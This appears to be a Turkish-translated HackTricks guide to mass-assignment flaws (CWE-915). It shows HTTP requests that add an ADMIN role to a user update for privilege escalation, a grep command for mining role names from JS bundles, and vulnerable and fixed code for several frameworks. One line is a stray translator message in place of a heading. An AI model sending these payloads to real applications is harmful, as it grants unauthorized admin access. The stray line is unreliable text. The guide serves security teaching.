Mass Assignment (CWE-915) – Privilege Escalation via Unsafe Model Binding

Reading time: 6 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Mass assignment (a.k.a. insecure object binding) oluşur; bir API/controller kullanıcı tarafından sağlanan JSON'u alıp, alanların açıkça allow-list ile sınırlandırılmadığı durumda doğrudan sunucu tarafı model/entity'ye bind ettiğinde. Eğer roles, isAdmin, status veya ownership gibi ayrıcalıklı özellikler bind edilebiliyorsa, herhangi bir authenticated kullanıcı ayrıcalık yükseltme veya korumalı durumu manipüle etme imkanına sahip olur.

Bu, genellikle roles=ADMIN gibi değerler ayarlanarak vertical privilege escalation sağlayan bir Broken Access Control issue'sudur (OWASP A01:2021). Otomatik olarak request body'lerini data modellere bağlayan framework'leri sıkça etkiler (Rails, Laravel/Eloquent, Django ORM, Spring/Jackson, Express/Mongoose, Sequelize, Go structs, vb.).

1) Mass Assignment'ı Bulma

Kendi profilinizi veya benzer kaynakları güncelleyen self-service endpoint'lere bakın:

  • PUT/PATCH /api/users/{id}
  • PATCH /me, PUT /profile
  • PUT /api/orders/{id}

Mass assignment olduğunu işaret eden heuristikler:

  • Response, siz göndermeseniz bile server-tarafı tarafından yönetilen alanları (ör. roles, status, isAdmin, permissions) echo ediyor.
  • Client bundle'larında uygulama genelinde kullanılan role isimleri/ID'leri veya diğer ayrıcalıklı attribute isimleri (admin, staff, moderator, internal flags) bulunuyor; bu bind edilebilir bir şema olduğuna işaret eder.
  • Backend serializer'lar bilinmeyen alanları reddetmeden kabul ediyor.

Hızlı test akışı:

  1. Sadece güvenli alanlarla normal bir güncelleme yapın ve tüm JSON response yapısını gözlemleyin (this leaks the schema).
  2. Body'ye özel olarak hazırlanmış bir ayrıcalıklı alan ekleyerek güncellemeyi tekrarlayın. Eğer response değişikliği koruyorsa, büyük olasılıkla mass assignment mevcut.

Example baseline update revealing schema:

http
PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry"
}

Yanıt ayrıcalıklı alanlara işaret ediyor:

http
HTTP/1.1 200 OK
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": null,
"status": "ACTIVATED",
"filters": []
}

2) Exploitation – Role Escalation via Mass Assignment

Bağlanabilir şekli öğrendikten sonra, ayrıcalıklı özelliği aynı isteğe ekleyin.

Örnek: set roles to ADMIN on your own user resource:

http
PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": [
{ "id": 1, "description": "ADMIN role", "name": "ADMIN" }
]
}

Eğer yanıt rol değişikliğini koruyorsa, uygulama admin-context oturumu oluşturup ayrıcalıklı UI/endpoints'i gösterecek şekilde tokens/claims'i yeniden doğrulayın veya yenileyin.

Notlar

  • Rol tanımlayıcıları ve yapıları genellikle client JS bundle veya API dokümanlarından sıralanır. "roles", "ADMIN", "STAFF" veya sayısal rol ID'leri gibi dizeleri arayın.
  • Eğer tokens içinde claims varsa (ör. JWT roles), yeni ayrıcalıkların uygulanması genellikle logout/login veya token refresh gerektirir.

3) Client Bundle Recon — Şema ve Rol ID'leri için

  • Minified JS bundle'ları role strings ve model names için inceleyin; source maps DTO shapes'i ortaya çıkarabilir.
  • roles, permissions veya feature flags içeren arrays/maps arayın. Tam property names ve nesting ile eşleşen payloads oluşturun.
  • Tipik göstergeler: role name constants, dropdown option lists, validation schemas.

İndirilen bir bundle üzerinde kullanışlı grep komutları:

bash
strings app.*.js | grep -iE "role|admin|isAdmin|permission|status" | sort -u

4) Çerçeve Tuzakları ve Güvenli Desenler

Bu zafiyet, framework'lerin req.body'yi doğrudan kalıcı varlıklara bağlaması durumunda ortaya çıkar. Aşağıda yaygın hatalar ve en basit, güvenli desenler yer almaktadır.

Node.js (Express + Mongoose)

Güvenli olmayan:

js
// Any field in req.body (including roles/isAdmin) is persisted
app.put('/api/users/:id', async (req, res) => {
const user = await User.findByIdAndUpdate(req.params.id, req.body, { new: true });
res.json(user);
});

Çeviriyi düzeltmemi istiyorsunuz ancak kaynak içerik sağlanmamış. Lütfen src/pentesting-web/mass-assignment-cwe-915.md dosya içeriğini veya düzeltmemi istediğiniz kısmı gönderin.

js
// Strict allow-list and explicit authZ for role-changing
app.put('/api/users/:id', async (req, res) => {
const allowed = (({ firstName, lastName, nickName }) => ({ firstName, lastName, nickName }))(req.body);
const user = await User.findOneAndUpdate({ _id: req.params.id, owner: req.user.id }, allowed, { new: true });
res.json(user);
});
// Implement a separate admin-only endpoint for role updates with server-side RBAC checks.

Ruby on Rails

Zafiyetli (strong parameters yok):

rb
def update
@user.update(params[:user]) # roles/is_admin can be set by client
end

Düzeltme (strong params + ayrıcalıklı alan yok):

rb
def user_params
params.require(:user).permit(:first_name, :last_name, :nick_name)
end

Laravel (Eloquent)

Etkilenebilir:

php
protected $guarded = []; // Everything mass-assignable (bad)

Düzeltme:

php
protected $fillable = ['first_name','last_name','nick_name']; // No roles/is_admin

Spring Boot (Jackson)

Güvenli olmayan desen:

java
// Directly binding to entity and persisting it
public User update(@PathVariable Long id, @RequestBody User u) { return repo.save(u); }

Düzeltme: Yalnızca izin verilen alanları içeren bir DTO'ya eşle ve yetkilendirmeyi zorunlu kıl:

java
record UserUpdateDTO(String firstName, String lastName, String nickName) {}

Daha sonra izin verilen alanları DTO'dan sunucu tarafında entity'ye kopyalayın ve rol değişikliklerini yalnızca RBAC kontrollerinden sonra admin-only handler'larda işleyin. Gerekirse ayrıcalıklı alanlarda @JsonIgnore kullanın ve bilinmeyen özellikleri reddedin.

Go (encoding/json)

  • Ayrıcalıklı alanların json:"-" kullandığından emin olun ve yalnızca izin verilen alanları içeren bir DTO struct ile doğrulayın.
  • decoder.DisallowUnknownFields() ve bağlama sonrası invariant doğrulamalarını (self-service yollarında roller değişemez) dikkate alın.

References

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin